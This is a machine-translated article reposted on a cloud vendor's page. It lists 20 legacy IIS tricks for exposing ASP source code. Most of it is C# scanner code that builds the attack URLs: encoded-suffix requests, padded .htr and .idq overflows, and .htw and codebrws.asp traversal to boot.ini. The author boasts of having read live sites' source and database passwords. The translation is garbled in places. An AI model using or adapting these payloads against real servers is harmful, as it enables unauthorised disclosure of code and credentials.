20 methods and tools for viewing asp source code

Source: Internet
Author: User

As we all know, the windows platform is full of loopholes, patch one by one, but it is always incomplete. I summarized the 20 methods I know to view the asp source code, and wrote an application in c # to scan these vulnerabilities, I found that although most of the methods cannot be used, there are still some loopholes in the Internet :). As a result, the source code of many sites, including the database password, were seen in the two days, if access is used, you can download the database. If SQL server does not use udl or dsn to connect to the database, you can also use the TCP/IP network library to connect to the database. First, the 20 methods are listed below:

.
% 81
: DATA
% 2e
% 2e % 41sp
+. Htr

Longhtr
. Bak
Codebrws. asp
Showcode. asp
Null. htw
Qfullhit. htw
Qsumrhit. htw
Query. idq
Search/qfullhit. htw
Search/qsumrhit. htw
Iirturnh. htw
. Htw
Translate: f


The first 10 vulnerabilities are added directly after the asp file. For example, % 81 is xxx. asp % 81. These are all implemented through examples or system vulnerabilities inherent in iis. The most special method is the translate: f method, which cannot be used directly through a browser, A TCP/IP socket connection must be established with the server to send requests. For details about how to use each vulnerability, see below. This is part of my application, if you want all of them, you can download them from my website.

Switch (this. cboMethod. SelectedIndex)
{
Case 0: // read directly
StrRequestFile = strServer + strUrl;
Break;
Case 5: // % 2e % 41sp
StrRequestFile = strServer + strPath + strFirst
+ "% 2e % 41sp ";
Break;
Case 8: // longhtr
StrRequestFile = strServer + strUrl
+ "+ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htr ";
Break;


Case 10: // codebrws. asp
StrRequestFile = strServer + "/iissamples/exair/howitworks/codebrws. asp? Source ="
+ StrUrl;
Break;

Case 11: // showcode. asp
StrRequestFile = strServer + "/iissamples/exair/howitworks/codebrws. asp? Source ="
+ "/Msadc/.../boot. ini ";
Break;

Case 12: // null. htw
StrRequestFile = strServer + "/null. htw? CiWebHitsFile ="
+ StrUrl + "% 20 & CiRestriction = none & CiHiliteType = Full ";
Break;
Case 13: // qfullhit. htw
StrRequestFile = strServer + "/iissamples/issamples/oop/qfullhit. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;


Case 14: // qsumrhit. htw
StrRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;

Case 15: // query. idq
StrRequestFile = strServer + "/query. idq? CiTemplate =/.../../boot. ini"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20.htx ";
Break;


Case 16: // search/qfullhit. htw
StrRequestFile = strServer + "/iissamples/exair/search/qfullhit. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;

Case 17: // search/qsumrhit. htw
StrRequestFile = strServer + "/iissamples/exair/search/qsumrhit. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;

Case 18: // iirturnh. htw
StrRequestFile = strServer + "/iishelp/iis/misc/iirturnh. htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;


Case 19: //. htw
StrRequestFile = strServer + strUrl
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
+ "% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% running htw? "
+ "CiWebHitsFile =/.../../boot. ini & CiRestriction = none"
+ "& CiHiliteType = Full ";
Break;


Default:
StrRequestFile = strServer + strUrl + this. cboMethod. Text;
}

 

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.